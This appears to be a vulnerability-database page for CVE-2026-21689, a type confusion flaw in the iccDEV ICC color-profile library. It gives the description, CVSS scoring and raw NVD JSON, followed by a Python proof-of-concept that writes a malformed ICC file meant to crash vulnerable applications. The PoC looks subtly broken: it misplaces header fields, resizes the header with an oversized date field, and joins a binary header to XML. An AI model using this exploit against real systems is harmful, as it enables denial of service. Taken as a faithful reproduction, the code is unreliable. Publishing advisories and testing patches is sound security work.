Security Vulnerability Report
中文
CVE-2026-21689 CVSS 6.5 MEDIUM

CVE-2026-21689

Published: 2026-01-07 22:15:45
Last Modified: 2026-01-12 18:25:41

Description

iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. Versions prior to 2.3.1.2 have a Type Confusion vulnerability in `CIccProfileXml::ParseBasic()` at `IccXML/IccLibXML/IccProfileXml.cpp`. This vulnerability affects users of the iccDEV library who process ICC color profiles. Version 2.3.1.2 contains a patch. No known workarounds are available.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV < 2.3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21689 PoC - Malformed ICC Profile XML Triggering Type Confusion # This PoC demonstrates the Type Confusion vulnerability in iccDEV CIccProfileXml::ParseBasic() # Author: Security Researcher # Date: 2026-01-07 import os import struct def create_malformed_icc_profile(): """ Create a malformed ICC profile that triggers Type Confusion in ParseBasic() The vulnerability exists when XML parser cannot properly validate element types """ # ICC Profile Header (128 bytes) header = bytearray(128) # Profile size (will be updated) profile_size = 0 # Preferred CMM type header[0:4] = b'lcms' # Profile version header[8:12] = struct.pack('>I', 0x05000000) # Version 5.0.0 # Profile device class header[12:16] = b'scn ' # Color space header[16:20] = b'RGB ' # PCS header[20:24] = b'XYZ ' # Creation date/time header[24:36] = struct.pack('>IIIIII', 2026, 1, 7, 0, 0, 0) # Profile file signature header[36:40] = b'acsp' # Primary platform header[40:44] = b'MSFT' # Embedded profile (no) header[64:68] = struct.pack('>I', 0) # Profile connection space header[68:72] = b'XYZ ' # Malformed XML data that triggers Type Confusion # The XML contains elements with mismatched type declarations malicious_xml = b'''<?xml version="1.0" encoding="UTF-8"?> <ICCProfile version="5"> <ProfileHeader> <DeviceClass>scn</DeviceClass> <ColorSpace>RGB</ColorSpace> <PCS>XYZ</PCS> </ProfileHeader> <TagTable> <!-- Type confusion: tag signature treated as wrong data type --> <Tag> <Signature>chad</Signature> <Reserved>0x00000000</Reserved> <!-- Mismatched type causes type confusion in parser --> <Data type="XYZType"> <!-- Invalid data structure causing type confusion --> <InvalidTypeConfusionData> <raw>\x00\x00\x00\x00\x00\x00\x00\x00</raw> </InvalidTypeConfusionData> </Data> </Tag> <!-- Additional malformed tags to trigger vulnerability --> <Tag> <Signature>desc</Signature> <Reserved>0x00000000</Reserved> <Data type="mluc"> <!-- Type confusion in multi-localized text --> <InvalidData/> </Data> </Tag> </TagTable> </ICCProfile> ''' # Combine header and malicious XML profile_data = bytes(header) + malicious_xml # Update profile size in header profile_size = len(profile_data) header[0:4] = struct.pack('>I', profile_size) return bytes(header) + malicious_xml def main(): print("[*] CVE-2026-21689 PoC Generator") print("[*] Target: iccDEV CIccProfileXml::ParseBasic() Type Confusion") print("[*] Affected: iccDEV < 2.3.1.2") # Generate malformed ICC profile poc_data = create_malformed_icc_profile() # Save to file output_file = "CVE-2026-21689_malformed.icc" with open(output_file, 'wb') as f: f.write(poc_data) print(f"[+] PoC ICC profile saved to: {output_file}") print(f"[+] File size: {len(poc_data)} bytes") print("[+] Usage: Process this file with vulnerable iccDEV application") print("[+] Expected result: Application crash or denial of service") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21689", "sourceIdentifier": "[email protected]", "published": "2026-01-07T22:15:45.233", "lastModified": "2026-01-12T18:25:40.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. Versions prior to 2.3.1.2 have a Type Confusion vulnerability in `CIccProfileXml::ParseBasic()` at `IccXML/IccLibXML/IccProfileXml.cpp`. This vulnerability affects users of the iccDEV library who process ICC color profiles. Version 2.3.1.2 contains a patch. No known workarounds are available."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color del International Color Consortium (ICC). Las versiones anteriores a la 2.3.1.2 tienen una vulnerabilidad de confusión de tipos en 'CIccProfileXml::ParseBasic()' en 'IccXML/IccLibXML/IccProfileXml.cpp'. Esta vulnerabilidad afecta a los usuarios de la biblioteca iccDEV que procesan perfiles de color ICC. La versión 2.3.1.2 contiene un parche. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-190"}, {"lang": "en", "value": "CWE-232"}, {"lang": "en", "value": "CWE-476"}, {"lang": "en", "value": "CWE-690"}, {"lang": "en", "value": "CWE-754"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/382", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/423", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-5rqc-w93q-589m", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}